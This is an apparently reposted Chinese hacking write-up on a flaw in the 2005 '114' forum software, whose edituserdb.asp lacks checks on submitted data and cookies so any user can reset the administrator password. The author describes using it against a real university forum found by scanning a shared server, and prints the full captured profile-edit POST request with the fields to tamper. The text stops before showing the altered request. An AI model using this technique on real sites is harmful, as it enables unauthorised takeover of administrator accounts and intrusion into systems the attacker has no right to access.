漏洞描述:
网站114论坛 2005版正式
/edituserdb.asp
对提交数据和cooikes缺乏验证
导致任意用户可以修改管理员密码
默认后台admin/index.asp
今天在旁注一个机房的机器时用了一下。
http://www.***.net.cn/xzl/BBS/index.asp
**医科大学网站上的一个论坛。
注册了一个用户33221.
然后跳转到 /edituserdb.asp,单击“修改注册”开始抓包!
用记事本保存抓包内容如下：
-----------------------------------------------------------------------------------------------------------
POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.***.net.cn/xzl/BBS//edituserdb.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)
Host: www.***.net.cn
Content-Length: 2304
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserName"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="selSex"
先生
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtNick"
11
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtProvince"
111
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAddress"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPostCode"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTel"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtMobile"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtFax"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtEmail"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUrl"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtfile"; filename=""
Content-Type: application/octet-stream
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtOicq"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtDocument"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="submit"
修改注册信息
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtId"
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtTempId"
-----------------------------7d61e41d605f6--
-----------------------------------------------------------------------------------------------------------
其中：“
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtUserCode"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtConfirmPassword"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtQuestion"
33221
-----------------------------7d61e41d605f6
Content-Disposition: form-data; name="txtAnswer"
33221
-----------------------------7d61e41d605f6
”
文章转载地址：http://www.cnpaf.net/Class/hack/06101110491463666521.html
